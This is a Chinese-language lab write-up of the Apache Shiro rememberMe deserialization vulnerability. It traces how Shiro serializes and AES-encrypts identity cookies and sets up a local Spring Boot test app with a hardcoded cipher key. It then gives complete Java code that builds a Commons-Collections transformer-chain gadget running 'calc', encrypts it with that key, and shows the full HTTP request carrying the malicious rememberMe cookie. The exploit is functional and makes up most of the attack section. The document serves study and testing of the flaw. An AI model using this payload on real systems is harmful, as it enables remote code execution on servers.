public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {//always clear any previous identity:forgetIdentity(subject);//now save the new identity:if (isRememberMe(token)) {rememberIdentity(subject, token, info);} else {if (log.isDebugEnabled()) {log.debug("AuthenticationToken did not indicate RememberMe is requested. " +"RememberMe functionality will not be executed for corresponding account.");}}}
rememberIdentity 方法如下:
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {// 生成身份认证信息PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);// 实现记住登录rememberIdentity(subject, principals);}
rememberIdentity 方法如下:
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {// 将身份认证信息序列化为字节数组byte[] bytes = convertPrincipalsToBytes(accountPrincipals);// 将字节数组写入到Cookie中rememberSerializedIdentity(subject, bytes);}
convertPrincipalsToBytes 方法如下:
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {// 将身份认证信息序列化为字节数组,最终会调用 DefaultSerializer 的 serialize 方法byte[] bytes = serialize(principals);if (getCipherService() != null) {// 如果加密服务存在则进行一次AES加密,在加密时会使用当前设置的密钥bytes = encrypt(bytes);}return bytes;}
rememberSerializedIdentity 方法如下:
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {if (!WebUtils.isHttp(subject)) {if (log.isDebugEnabled()) {String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +"request and response in order to set the rememberMe cookie. Returning immediately and " +"ignoring rememberMe operation.";log.debug(msg);}return;}HttpServletRequest request = WebUtils.getHttpRequest(subject);HttpServletResponse response = WebUtils.getHttpResponse(subject);//base 64 encode it and store as a cookie:String base64 = Base64.encodeToString(serialized);Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookiesCookie cookie = new SimpleCookie(template);cookie.setValue(base64);cookie.saveTo(request, response);}
最终会将身份认证信息写入到 Cookie 中。
反序列化的过程类似,不过是把这个流程反过来。因此我们可以得出一个结论。
只要目标系统中同时有使用 shiro 和 commons-collections 3.1,并且在得知了AES密钥,即可触发远程命令执行漏洞。
0x01 搭建测试环境
我们使用 springboot 搭建一个测试环境。
使用 maven 创建好一个包含 web 的 springboot 项目后,在 pom.xml 增加两个依赖:
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency><dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-spring-boot-web-starter</artifactId><version>1.8.0</version></dependency>
然后增加两个类配置 shiro 。
import org.apache.shiro.realm.Realm;import org.apache.shiro.realm.text.TextConfigurationRealm;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;@Configurationpublic class ShiroRealmConfig {@Beanpublic Realm realm() {TextConfigurationRealm realm = new TextConfigurationRealm();// 配置账户信息realm.setUserDefinitions("user=password,user\n" + "admin=password,admin");realm.setRoleDefinitions("admin=read,write\n" + "user=read");realm.setCachingEnabled(true);return realm;}}
import org.apache.shiro.mgt.SecurityManager;import org.apache.shiro.web.mgt.CookieRememberMeManager;import org.apache.shiro.web.mgt.DefaultWebSecurityManager;import org.springframework.context.annotation.Configuration;import javax.annotation.PostConstruct;import javax.annotation.Resource;import java.util.Base64;@Configurationpublic class ShiroSecurityConfig {@Resourceprivate SecurityManager securityManager;@PostConstructpublic void init() {// 配置记住登录管理器,并且设置 AES 加密的 keyCookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();cookieRememberMeManager.setCipherKey(Base64.getDecoder().decode("zSyK5Kp6PZAAjlT+eeNMlg=="));((DefaultWebSecurityManager) securityManager).setRememberMeManager(cookieRememberMeManager);}}
0x02 生成 payload
package org.hai;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import javax.management.BadAttributeValueExpException;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Demo7 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};// 把 Transformer 使用链的方式调用,从上到下,不用再每次执行Transformer transformerChain = ChainedTransformer.getInstance(transformers);// 在调用 get 方法时传入一个不存在的 key 时会调用 Transformer 的 transform 方法Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);// 在调用 toString 方法时会自动调用 getValue 方法并使用 构造方法传入的 key 当作 keyTiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");// 创建BadAttributeValueExpException对象,类型是 public 的,无需使用反射创建BadAttributeValueExpException obj = new BadAttributeValueExpException(null);// 成员 val 没有setVal 方法,只能通过反射修改Field valField = obj.getClass().getDeclaredField("val");valField.setAccessible(true);valField.set(obj, entry);/*-----------------------序列化----------------------------*/final byte[] bytes = Utils.serialize(obj);byte[] key = Base64.getDecoder().decode("zSyK5Kp6PZAAjlT+eeNMlg==");// 创建一个 shiro 的 AES 加密服务类AesCipherService aesCipherService = new AesCipherService();// 使用 AES 加密序列化后的字节数组ByteSource encrypt = aesCipherService.encrypt(bytes, key);// 将加密后的字节数组转换使用 Base64 编码后输出String encoder = Base64.getEncoder().encodeToString(encrypt.getBytes());System.out.println("序列化后+AES加密+base64 encode:" + encoder);/*-----------------------反序列化----------------------------*/// 使用Base64 解码字符串为字节数组, 并使用AES 解密字节数组ByteSource decrypt = aesCipherService.decrypt(Base64.getDecoder().decode(encoder), key);// 反序列化为对象final Object o = Utils.deserialize(decrypt.getBytes());System.out.println("反序列化+AES解密+base64 decode:" + o);}}
0x03
GET /index_shiro HTTP/1.1HOST: 127.0.0.1:8080Content-Length: 0Cookie: rememberMe=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
Burp发送请求,便可以看到本地计算机打开了计算器程序。
注
文中测试使用系统和工具版本如下:
- 操作系统 windows 10 10.0.14393
- jdk openjdk 8u60 zulujdk 8u312
- springboot 2.5.7
- commons-collections 3.1
- shiro 1.8.0
